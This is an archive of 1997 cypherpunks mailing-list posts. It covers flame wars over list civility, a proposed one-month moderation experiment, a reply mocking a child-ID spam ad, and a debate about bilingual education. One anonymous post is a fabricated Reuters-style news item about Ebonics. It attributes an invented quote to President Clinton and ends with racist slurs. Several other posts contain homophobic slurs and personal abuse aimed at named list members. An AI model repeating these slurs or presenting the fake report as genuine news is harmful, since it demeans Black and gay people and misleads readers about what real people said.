    swipe), and then there was Dr. Fred Cohen who attacled Tim on a
    regular basis (but he was easy enough to get rid of after I checked
    his credentials and exposed why he was fired from his professorship),
    and now we have Dimitri and several more who are worse. Dimitri at
    least has some good information and arguments.

	you know, I've always given Tim a little slack on his occasionally
    over-biased opinions, but...  maybe Tim is the problem; he just seems
    to bring out the 'best' in people like Dimitri and now the list has
    turned into a free-for-all of the outrageously obscene.

	then you wonder why I create sig lines like:

__________________________________________________________________________
    go not unto usenet for advice, for the inhabitants thereof will say:
      yes, and no, and maybe, and I don't know, and fuck-off.
_________________________________________________________________ attila__

    To be a ruler of men, you need at least 12 inches....
_________________________________________________________________ attila__






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Sat, 4 Jan 1997 22:45:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Oakland School Board modifies Ebonics decision
Message-ID: <199701050645.HAA06796@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Oakland, CA, Reuters -- Oakland School Board modifies Ebonics decision.

On Saturday, the Oakland School Board, meeting in emergency session, voted
to modify its controversial "Ebonics" program, which authorized Ebonics, or
"black English," as a second language for the purposes of teaching minority
children and for receiving federal funds for language programs. But the
program became the laughingstock of the nation, as critics pointed out, and
the White House was quick to announce that no funding for Ebonics programs
will be forthcoming. As President Clinton noted, "Hell, down in Arkansas we
got folks talkin' like that everyday, and we don't call it "bubbonics, "
now do we?"

Under pressure from the parents of the remaining white children, the
Oakland School Board has decided to add "white English," also known as
"Albonics," to the list of special languages. Under the proposal, Albonics
would be a valid language for teaching white children who are lacking
ghetto jive skills.

As School Superintendent Lavondala Rasheed-Washington explained, "Yez be
all we be sayin', know? Da honkies be sayin' ebonics be dissin' dem. We'z
be skaggin' and deyz be tootin' an shit. Dis be bad." (A translation into
Albonics was not available at press time.)

In related news, the Oakland School Board has completed work begun over the
Christmas school break to subtitle all school signs in Ebonics. The "Boys"
and "Girls" restrooms in all Oakland schools are now subtitled "Niggaz" and
"Bitches."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 09:53:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Problems are Gay
In-Reply-To: <Pine.LNX.3.95.970105061621.1829B-100000@dhp.com>
Message-ID: <32CFEA43.28CD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:

> Most of the time, the problems are Gay...
> On Sat, 4 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> > >Gilmore, the Supreme and Absolute 12" Ruler of the "cypher punks", is an
> > >effeminate, limp-wristed, self-admitted and -exposed cocksucking bitch.

Gilmore, 12" ??  If that were the case, he'd have *something* to be
proud of, anyway.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 10:00:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (Your Comment Here)
In-Reply-To: <Pine.BSI.3.95.970105072448.14657A-100000@usr01.primenet.com>
Message-ID: <32CFEBFB.7AE3@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


attila wrote:
> On Sat, 4 Jan 1997, Toto wrote:
> > "Before I joined CypherPunks, I couldn't even 'spell' cocksucker.
> > Now,...(Your Comment Here)."

> To be a ruler of men, you need at least 12 inches....

I don't think you're gonna find it here.

My former girlfriend used to say "What's white and 10 inches long?"
(answer: nothing)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 10:05:21 -0800 (PST)
To: "Frank O'Dwyer" <fod@brd.ie>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <199701031110.LAA31173@brd.ie>
Message-ID: <32CFED0B.6664@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Frank O'Dwyer wrote:
> > [...] the drivel that comes from some of our more prolific posters is
> > best handled by filtering by the list members themselves.  (I currently
> > have 3 of them going directly to the trash.  Perhaps aga should get
> > kickbacks from Qualcomm.  He managed to sell a copy of EudoraPro.)

> It would be nice if each user could install filters on Majordomo itself.
> Not only would we not need to buy Eudora Pro, but we wouldn't have to
> pay to download messages we didn't want to read, and without having
> to employ a moderator (censor). The most serious drawback
> I can think of is the slight loss of privacy involved in revealing
> one's filtering preferences to the server

[snip]

The most serious drawback is the precedent you'd be setting.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 10:27:50 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <199701050649.WAA19140@mail.pacifier.com>
Message-ID: <32CFF251.1058@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 10:57 PM 1/4/97 -0800, Toto wrote:
> >Dr.Dimitri Vulis KOTM wrote:
> >> I used to be at 212-666-6984 for some 7 years.

> >  Aha!

> You figured it out, too, huh?!?  Take the word "devil," remove the
> vowels and you get dvl.  Rearrange slightly, and it's "dlv."

I can't resist this any longer.  Pity the poor slobs who have me
in the filter.

1. Dale Thorn is very similar to Damien Thorn.
2. The Roman numerals in my name add up to 555. For a 'C' programmer,
   this can be the equivalent of 666 for a Basic programmer, taking
   one digit at a time.
3. If you sign (with a pen) the name quickly, using counterclockwise
   loops only, it will look exactly like 666, which BTW was a significant
   paragraph in a lawsuit between myself and a former employer (they
   initiated the paragraph).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 10:40:37 -0800 (PST)
To: Steve Stewart <steve@resudox.net>
Subject: Re: OCR and Machine Readable Text
In-Reply-To: <3.0.1.32.19970102225436.01072284@mail.teleport.com>
Message-ID: <32CFF545.C27@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Steve Stewart wrote:
> I have used OCR a fair bit, and I agree with you,  I think you're being
> generous by saying  even a 65% accuracy rate. I think our OCR technology
> today is pathetic, and it would be quicker just to type the damn
> documents ourselves. I've used a bunch of different packages from guys
> like HP, and others. I certainly don't know what Alan Olsen was using.

[snip]

I needed OCR to create indexed text databases of federal documents,
particularly legislation.  The amount of hand editing required is
enormous.  That alone would justify (in a sense) the use of off-
shore labor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sun, 5 Jan 1997 11:39:58 -0800 (PST)
To: cypherpunks
Subject: Sandy and I will run a cypherpunks "moderation" experiment in Jan
Message-ID: <199701051939.LAA05342@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I agree with Sandy Sandfort and many others that things have gotten
way out of hand on the list.  He and I feel that the only proposed
solutions likely to succeed involve inserting human judgement in the
cypherpunks posting process, rather than mere automation.  So I am
supporting this experiment, primarily by setting up a few more mailing
lists on Toad and by automatically moving the current set of
subscribers to the moderated list.  You will be able to move
yourselves back to the unedited list if you don't want to participate
in the experiment, or if, partway through, you decide you don't like
the results.

Sandy will be gone til Tuesday evening, so don't expect further
answers from him (or many from me, I'm swamped with other activities)
until then.  Meanwhile I'm interested in your discussion (on the list)
of the idea.  We'll modify it before starting, with good ideas from you.

	John Gilmore

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                         SANDY SANDFORT
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

C'punks,

Like many of you, I have become very disenchanted with the
quality of discourse on this list.  As others have pointed
out, I believe a great deal of the blame can be laid on the
lack of civility between list (and non-list) members.  I
think this, in turn, is the result of the list being open. 
As such, it has no feedback mechanisms to discourage
gratuitous insults and personal attacks.  The result has
been an escalation of such behavior--something that no
amount of personal mail filtering can rectify.

Recently, I made a couple of rough proposals to John Gilmore
to see if there was some way to reverse this trend.  We have
gone back and forth on several issues, but we finally
reached an agreement whereby I would partially moderate the
Cypherpunk list for a one-month test period.  If the
consensus of list members is that the test is going well, it
can be extended.  If members think it sucks, it can be
dropped or modified.  Even before we start, though, you may
wish to contribute suggestions.

The following is our general plan.  I'm sure there will be
questions that have to be answered as they arise, but the
basis outline is a follows:

1)  The test will run from January 11 through February 12.

2)  I will review all incoming messages for purposes of
preserving decorum and reducing obviously unrelated spam.  Other
then that, I will not overly concern myself with off-topic posts.  
I will, however, expurgate all posts containing flames, insults 
and other irrelevant personal attacks, as well as spams, before
forwarding the remaining posts to the Cypherpunk list.

3)  Cypherpunks who wish to read all posts to the list may do so
by taking advantage of either of two optional lists.  The first
(cypherpunk-flames@toad.com), will consist solely of messages
expurgated from the main Cypherpunks list.  (Those who subscribe
to "flames" will be able to easily monitor my moderating
decisions.)  The second (cypherpunks-unedited@toad.com), will
contain all posts sent to Cypherpunks.  It will be the equivalent
of the current open, unmoderated list.  It will appeal to those
who don't want list moderation.

4)  During the test month, polite discussion of the test will
always be on topic.  In the last few days before the 10th of
February, I will call for opinions as to whether moderation
should be continued, modified or eliminated.  John has agreed to
abide by the consensus of the group with one proviso.  Because of
the large volume of bandwidth eaten by the lists, he does not
want to maintain both the "flame" and "unedited" versions of the
list.  If list members decide to continue to have the list
moderated, one of those lists will probably have to go.

5)  If list members decide on a moderated list, I will be happy
to assist in the ongoing process.  Though I will continue to be
available for duty as moderator from time to time, we will need a
set of rotating volunteers to take turns acting as moderator. 
Volunteers are always welcome.

6)  Because every message submitted to Cypherpunk will be posted 
to two of the three sister lists, I don't intend to lose much
sleep over whether or not this or that moderating decision was
perfect.  I will do the best job I can, within the constraints
listed here.  If I err, it isn't fatal.  Everyone who wants one
will have two Cypherpunk venues for their posts.  Sounds fair
enough to me.  What do you think?


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PS:  The new lists aren't set up yet, so there's no point in trying
to subscribe or unsubscribe to them yet.  We'll let you know when they
are working.		-- John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 5 Jan 1997 12:03:56 -0800 (PST)
To: gary@safetydisk.com (Gary Aikens)
Subject: [Screed] Re: ONE MILLION CHILDREN.....
Message-ID: <3.0.1.32.19970105115743.01082678@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:42 PM 1/3/97, Gary Aikens wrote:
>...and pets are lost or turn up missing every year!
>Protect your loved ones today! 

How much of each?  (I forgot...  Children and pets are interchangable.)

>Think about all the things you do to protect your loved ones. Isn't there
>one more thing you should do? 

Wrap them in aluminum foil to protect them from the bogon radiation coming
from this message?

>Child and Pet ID Kits have been around for years, but most of them haven't
>changed with the years. Traditional ID Kits allow you to compile valuable
>information about your child or pet that you can use in the event your
child or
>pet is missing. We are responding to the rapid changes in technology. We know
>that any ID Kit just isn't good enough. 

It has to be marketed on The Internet(tm)!  (With special THX-1138 SPAM
additives for that special zing!)

What new buzzword has not been exploited for the purposes of seperating the
excesivly gulible from their money?

>Our ID Kit is quite different! You supply us with up to three photos and
pertinent
>information about your child or pet and we create a SAFETYDISK. 

As brought to you in the early 80s by "Men without Clues".

>In PC or MAC
>format, SAFETYDISK is a 3 1/2" disk that contains photos and valuable
>information that could help law enforcement agencies in the search for a
missing
>child or pet. 

"I am sorry that we cannot find your lost loved one as this disk has sector
errors."

None of which require purchace of your product.  (You forgot to remind us
of all the HORRIBLE things that could happen if we do not buy your "product".)

>What makes our kit so unique is that each SAFETYDISK is actually
>pre-formatted for the World Wide Web. 

You store this "Vital Information" as HTML?!?!??

>SAFETYDISK can be put on any
>Internet server within seconds and displayed to millions and millions of
>people
>who might spot your child or pet! 

If they go to that web page.  Few, if any, web pages gets that many hits in
a short period of time.  (Or a year for that matter.)  They have a better
chance of getting spotted by paintball guns!

What you are selling is a web page substitute for a milk carton!  (Without
having that useful feature of holding milk.)  I guess you had to find some
use for that copy of Frontpage 2.0 you got for Christmas...

>For more information, visit our website at http://www.mvisibility.com/sd/

Maybe you can find someone you know and/or love...  (Or at least a pet.)
Then again, maybe not...  Or you can learn how, by sending in your children
or pets to the top address on this list, you can get 3,125 loved-ones and
pets ABSOLUTLY FREE!  (All it takes is selling your soul to the demons of
Multi-level Marketing.)

>Thanks,

But no thanks.

>Gary Aikens
>President, SafetyDisk, Inc.

and clueless spammer.

"I loved annoying people so much I bought the company!"

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 5 Jan 1997 13:14:42 -0800 (PST)
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: Judge Bork on Ebonics
Message-ID: <v02140b01aef59a735d3b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Rich,

Thanks for your passionate and intelligent response.  Before I attempt to
address some of your objections to the passages Mr. Bork's book, let me say
that while I agree with some of his observations I find his objections and
perscriptions (including a legislative check on Supreme Court decisions)
too little too late.

BTW, the lead in and Bork material was taken from an article on
alt.libertian (i.e., not my words or sentiment).

>From the book's liner notes:

        The root of our decline, Bork argues, is the rise of
        modern liberalism, which stresses the dual forces of radical
        egalitarianism (the equality of outcomes rather
        than opportunities) and radical individualism (the
        drastic reduction of the limits of personal gratification). The
        roots of modern liberalism are deeply embedded in the
        past two and a half centuries-and perhaps-arise from
        the very nature of Western civilization itself.


[snip]
>> Vietnamese and Polish children were put into English-speaking
>> classes and were competent into English long before the Hispanics
>> in bilingual schools.
>
>No evidence for this assertion exists.

See, generally, "The Failure of Bilingual Education," ed. Jorge Amselle
(Washington, D.C.: Center for Equal Opportunities, 1996).

>
>> That leaves the partisans of bilingualism only
>> the choice of saying that Hispanic children are not as capable as
>> others or admitting that they, the educators, are driven by hostility
>> to American culture, and the rewards to be had by teachers' unions
>> and educational bureaucrats.
>
>No. I choose to call you on the bullshit assertion that Hispanic
>children don't learn English. This prejudice is rooted in the small
>but visible segment of the Hispanic population that comprises recent
>immigrants. It is indubitably true that illegal immigrants doing odd
>jobs and domestic work -- the segment of the Hispanic population most
>visible to sensitive anglos -- tend not to speak English.
>Extrapolations from this population, though, are invalid.
>
>> Often, the bilingualists do not care whether immigrant chil-
>> dren learn English. The key to success for the students is "self-
>> esteem. . . . Children do badly in school because of their feelings
>> of 'shame' at belonging to a minority group rather than the 'domi-
>> nant group.' For the children to do better, teachers must "con-
>> sciously challenge the power structure both in their classrooms
>> and schools and in the society at large." As Richard Bernstein
>> writes, "Bilingual education ... is an act of rebellion against white,
>> Anglo cultural domination."
>
>Note the only evidence offered by Bork to bolster this straw man
>he's building is a similar slew of bald, unsupported assertions by a
>friend of his. He might as well be quoting himself.

See Richard Berstein, "Dictatorship of the Virtue: Multiculturalism and the
Battle for America's Future," (New York: Alfred A. Knopf, 1994), p. 244.
The interior quotation is from Jim Cummins, "Empowering Minority Students,"
California Association for Bilingual Education, Sacramento, 1989, p. ix.

[snip]
>
>> Public dissatisfaction with the linguistic fracturing of society
>> has led to calls for an English-only amendment to the Constitu-
>> tion. The frustration is understandable, but there is no need to
>> amend the Constitution to achieve an English-speaking nation. All
>> that need be done is the abolition of bilingual education and the
>> repeal of the Voting Rights Act's requirement of different language
>> ballots.
>
>You'd better hurry, too, so that you can disenfranchise people before
>they know about it.
>
>> once they begin to see its results. Immigrant parents want their
>> children to learn English and become Americans. The opposition
>> to that, manifested in bilingual education, comes from American
>> elites who form an adversarial culture, alienated from the culture
>> of the West and wishing to weaken it.
>
>Who are these "American elites"? Who's in on the conspiracy? What's
>in it for them?

Ah, a very good question, and one which Bork spends a considerable time
upon.  In the short, they are the radicals of the '60s who have taken over
or heavily modified the cultural institutions they once sought to destroy
(e.g., Clinton, many intellectuals, the media (esp. Hollywood), university
faculties, etc.).  Special attention is given the Supreme Court (although
obviously they are older than the '60s radicals) and its misguided and, in
his opinion, unconstitutional basis supporting many liberal decisions
(e.g., abortion and affirmative action) in the past 20 or so years.


>
>> In 1989, the Commissioners Task Force on Minorities in New
>> York concluded: "African Americans, Asian Americans, Puerto
>> kicans/Latinos, and Native Americans have all been the victims of
>> an intellectual and educational oppression that has characterized
>> the culture and institutions of the United States and the European
>> American world for centuries." All young people were being
>> "miseducated" because of a "systematic bias toward European cul-
>> ture and its derivatives." Bernstein asks, rhetorically, "Could the
>> multicultural animus against 'European culture and its derivatives'
>> emerge more clearly than that? Here we have a direct statement
>> that the Western culture is harmful to nonwhite children ."
>
>The interesting thing about this attack is that you need to accept
>the Task Force's mode of analysis in order to accept Bernstein's
>conclusion. What if you don't? What if you say that this "European
>culture and its derivatives" thing is bullshit, all we really have is
>modern culture, and be done with it? Then Bernstein's statement and
>the Task Force's statments are equally nonsensical.

True, but its not clear what "modern culture" is, as its constantly
evolving.  As you correctly point out, and Bork discusses elsewhere, there
is no single "Eurpoean" culture.  However, no society has prospered by
failing to formally educate its youth in its cultural basis.  Without
substantial cultural unity a fractured and contentious society is a likely
result. In Federalist No. 2, Publius (John Jay) wrote:

        Providence has been pleased to give this one connected coun-
        try, to one united people, a people decended from the same
        ancestors, speaking the same language, professing the same reli-
        gion, attached to the same princinple of government, very simi-
        lar in their manners and customs...
           This country and this people seem to have been made for
        each other, and it appears as if it was the design of Providence,
        that an inheritance so proper and convenient for a band of
        bretheren, united to each other by the strongest ties, should never
        be split into a number of unsocial, jealous and alien sovereignties.

Despite the fact that we have increasingly become a hetrogeneous society,
our culture and law is clearly Protestent English-based.  It was not
European or, as we now say, Eurocenteric.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Sun, 5 Jan 1997 11:00:09 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: The Problems are Gay
Message-ID: <3.0.32.19970105120913.0069c110@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:20 AM 1/5/97 -0500, you wrote:
>Most of the time, the problems are Gay...
>
>I rest my case.
>
The arrogant, clueless, ignorant, homophobic Vulis tentacle
has no idea what the problem is.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pierre Uszynski <pierre@rahul.net>
Date: Sun, 5 Jan 1997 14:08:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701051939.LAA05342@toad.com>
Message-ID: <199701052207.AA06475@waltz.rahul.net>
MIME-Version: 1.0
Content-Type: text/plain


> Because of
> the large volume of bandwidth eaten by the lists, he does not
> want to maintain both the "flame" and "unedited" versions of the
> list.  If list members decide to continue to have the list
> moderated, one of those lists will probably have to go.

You could maintain all options *and* still strictly reduce traffic on
toad.com by encoding the moderator's decision in a header line. Then
letting people subscribe to one of cypherpunks@toad.com or
cypherpunks-unedited@toad.com.

The first could forward only messages somehow approved, and the other
would forward *all* messages, *with the decision shown in the headers*.
Those of us who want to use the moderator's decisions as only advisory
or who want to monitor the moderation process can subscribe to the full
list and use the header in whatever manner we want.

If the decision is available as a message header in the full list,
there is no need for the "flames" list. The drawback is that the full
list is now delayed by the moderation process (for the very few here
who still seem to read in real time.) Keeping two versions of the list
one delayed and one not delayed is not so good anyway because it makes
it harder to use the decision as "advisory".

Advantages of moderation headers:

a) A more general solution, maybe later letting more than one
moderation group step in (should we ever manage to muster that much
manpower) maybe even letting people filter (on their own machine) on
the basis of several moderator's decisions. At any rate, leaving space
for any option we may want later. Initially, subscribing to moderated
and flame is equivalent to a header solution. For that matter, it *is*
a header solution.

b) Strictly reduced traffic on toad.com by keeping some on the full
list, and others on the reduced list. No need to ever subscribe to any
two lists as the full list would show the moderators' decision(s).

c) Keeps the two versions of the list more in sync (same delay), making
it painless to switch from one version to the other at any time. 'more
reading time' vs 'less volume'.

d) If the moderators are into that level of dedication and software
complication, they *could* now detail their decision: 'grumph, ok',
'mostly drivel', 'drivel', 'utter drivel', etc... ;-)

Otherwise, I fully agree that if some are willing to help filter, I
would like to be able to use their review (and I would provide reviews
myself now and then),
Pierre.
pierre@rahul.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 5 Jan 1997 14:40:06 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: ONE MILLION CHILDREN.....
Message-ID: <199701052239.OAA00478@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:26 AM 1/5/97 -0800, Dale Thorn wrote:
>jim bell wrote:
>> At 10:57 PM 1/4/97 -0800, Toto wrote:
>> >Dr.Dimitri Vulis KOTM wrote:
>> >> I used to be at 212-666-6984 for some 7 years.
>
>> >  Aha!
>
>> You figured it out, too, huh?!?  Take the word "devil," remove the
>> vowels and you get dvl.  Rearrange slightly, and it's "dlv."
>
>I can't resist this any longer.  Pity the poor slobs who have me
>in the filter.
>
>1. Dale Thorn is very similar to Damien Thorn.
>2. The Roman numerals in my name add up to 555. For a 'C' programmer,
>   this can be the equivalent of 666 for a Basic programmer, taking
>   one digit at a time.
>3. If you sign (with a pen) the name quickly, using counterclockwise
>   loops only, it will look exactly like 666, which BTW was a significant
>   paragraph in a lawsuit between myself and a former employer (they
>   initiated the paragraph).


The devil you say!


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 5 Jan 1997 13:10:43 -0800 (PST)
To: gnu@toad.com (John Gilmore)
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701051939.LAA05342@toad.com>
Message-ID: <199701052106.PAA00804@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


my moderation bot, STUMP, may be just for you. It is now used in four usenet
newsgroups (comp.os.ms-windows.win95.moderated, soc.culture.russian.moderated,
misc.invest.financial-plan, soc.religion.paganism) and it can also handle
mailing lists.

features include preapproved list of trusted posters, list of suspicious
keywords, optional (at the posters' discretion) positive poster
authentication via PGP, signing of approvals with PGPMoose, multiple
moderators, moderators' mailing list, and much more. There is a plugin
for Netscape that I called Modscape that allows moderators to work with
a pretty Netscape-like user interface for moderating (see the picture at
the web site). Modscape currently works under linux and can be easily ported
to any other unix where netscape plugins are supported.

http://www.algebra.com/~ichudov  (go to STUMP page)

John Gilmore wrote:
> 
> I agree with Sandy Sandfort and many others that things have gotten
> way out of hand on the list.  He and I feel that the only proposed
> solutions likely to succeed involve inserting human judgement in the
> cypherpunks posting process, rather than mere automation.  So I am
> supporting this experiment, primarily by setting up a few more mailing
> lists on Toad and by automatically moving the current set of
> subscribers to the moderated list.  You will be able to move
> yourselves back to the unedited list if you don't want to participate
> in the experiment, or if, partway through, you decide you don't like
> the results.
> 
> Sandy will be gone til Tuesday evening, so don't expect further
> answers from him (or many from me, I'm swamped with other activities)
> until then.  Meanwhile I'm interested in your discussion (on the list)
> of the idea.  We'll modify it before starting, with good ideas from you.
> 
> 	John Gilmore
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                          SANDY SANDFORT
> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
> 
> C'punks,
> 
> Like many of you, I have become very disenchanted with the
> quality of discourse on this list.  As others have pointed
> out, I believe a great deal of the blame can be laid on the
> lack of civility between list (and non-list) members.  I
> think this, in turn, is the result of the list being open. 
> As such, it has no feedback mechanisms to discourage
> gratuitous insults and personal attacks.  The result has
> been an escalation of such behavior--something that no
> amount of personal mail filtering can rectify.
> 
> Recently, I made a couple of rough proposals to John Gilmore
> to see if there was some way to reverse this trend.  We have
> gone back and forth on several issues, but we finally
> reached an agreement whereby I would partially moderate the
> Cypherpunk list for a one-month test period.  If the
> consensus of list members is that the test is going well, it
> can be extended.  If members think it sucks, it can be
> dropped or modified.  Even before we start, though, you may
> wish to contribute suggestions.
> 
> The following is our general plan.  I'm sure there will be
> questions that have to be answered as they arise, but the
> basis outline is a follows:
> 
> 1)  The test will run from January 11 through February 12.
> 
> 2)  I will review all incoming messages for purposes of
> preserving decorum and reducing obviously unrelated spam.  Other
> then that, I will not overly concern myself with off-topic posts.  
> I will, however, expurgate all posts containing flames, insults 
> and other irrelevant personal attacks, as well as spams, before
> forwarding the remaining posts to the Cypherpunk list.
> 
> 3)  Cypherpunks who wish to read all posts to the list may do so
> by taking advantage of either of two optional lists.  The first
> (cypherpunk-flames@toad.com), will consist solely of messages
> expurgated from the main Cypherpunks list.  (Those who subscribe
> to "flames" will be able to easily monitor my moderating
> decisions.)  The second (cypherpunks-unedited@toad.com), will
> contain all posts sent to Cypherpunks.  It will be the equivalent
> of the current open, unmoderated list.  It will appeal to those
> who don't want list moderation.
> 
> 4)  During the test month, polite discussion of the test will
> always be on topic.  In the last few days before the 10th of
> February, I will call for opinions as to whether moderation
> should be continued, modified or eliminated.  John has agreed to
> abide by the consensus of the group with one proviso.  Because of
> the large volume of bandwidth eaten by the lists, he does not
> want to maintain both the "flame" and "unedited" versions of the
> list.  If list members decide to continue to have the list
> moderated, one of those lists will probably have to go.
> 
> 5)  If list members decide on a moderated list, I will be happy
> to assist in the ongoing process.  Though I will continue to be
> available for duty as moderator from time to time, we will need a
> set of rotating volunteers to take turns acting as moderator. 
> Volunteers are always welcome.
> 
> 6)  Because every message submitted to Cypherpunk will be posted 
> to two of the three sister lists, I don't intend to lose much
> sleep over whether or not this or that moderating decision was
> perfect.  I will do the best job I can, within the constraints
> listed here.  If I err, it isn't fatal.  Everyone who wants one
> will have two Cypherpunk venues for their posts.  Sounds fair
> enough to me.  What do you think?
> 
> 
>  S a n d y
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> PS:  The new lists aren't set up yet, so there's no point in trying
> to subscribe or unsubscribe to them yet.  We'll let you know when they
> are working.		-- John
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 5 Jan 1997 14:30:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <32CFF251.1058@gte.net>
Message-ID: <s3q3ZD64w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> I can't resist this any longer.  Pity the poor slobs who have me
> in the filter.

Fags who claim publicly to *plonk* someone usually lie.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 5 Jan 1997 14:30:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (Your Comment Here)
In-Reply-To: <199701050915.DAA28552@manifold.algebra.com>
Message-ID: <07q3ZD65w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> attila wrote:
> >     swipe), and then there was Dr. Fred Cohen who attacled Tim on a
> >     regular basis (but he was easy enough to get rid of after I checked
> >     his credentials and exposed why he was fired from his professorship),
> >
>
> Why was Dr. Cohen fired from his professorship?

John Gilmore is a very vindictive persons and will go to extreme length
to punish his "enemies".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sun, 5 Jan 1997 15:12:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Quis custodiet ipsos custodes?
Message-ID: <3.0.32.19970105151251.00969b90@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:34 PM 1/5/97 -0500, dws <dws@intercom.com> wrote:
[snip]
>Drawing on exclusive interviews with serial killer Kevin Poulsen, who's
>                                            ^^^^^^
>currently serving time in federal prison, journalist Jonathan Littman
>takes readers along on the wildest, most colorful crime spree in the
>annals of cyberspace...
>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

And I thought he just rigged a few radio contests.  Maybe there was more in
that storage compartment the cops searched than computer stuff...

>Yikes!  Seems this book will have more revelations than I had previously 
>thought.  Maybe CoS will take down that page with all the bad stuff they
>say about him (http://www.theta.com/goodman/crime.htm) now that he's out.

BTW, I've see people make links to that article, even on pages purporting
to support hackers.  That article originally occurred in "Freedom" (sic)
magazine, published by CoS (they have a trademark on the word
"freedom"...), and it had a few insidious purposes, IMHO:

1) To whip up fear about Internet crime, to aid the CoS strategy of
branding the critics who have allegedly violated their copyrights as
computer criminals.

2) To smear (or "dead agent" in CoS lingo) Dennis Erlich, a critic that CoS
is suing for copyright infringement, by placing him in the company of some
of the country's best known hackers.  Dennis is not a hacker by any means
-- he didn't even use remailers when he posted Scientology "scriptures."

3) To smear Justin Tanner Peterson ("Agent Steal").  It has been rumored
that Peterseon did some wiretapping for a CoS-employed PI in L.A. -- they
may have wanted to distance themselves from him, and/or to make him less
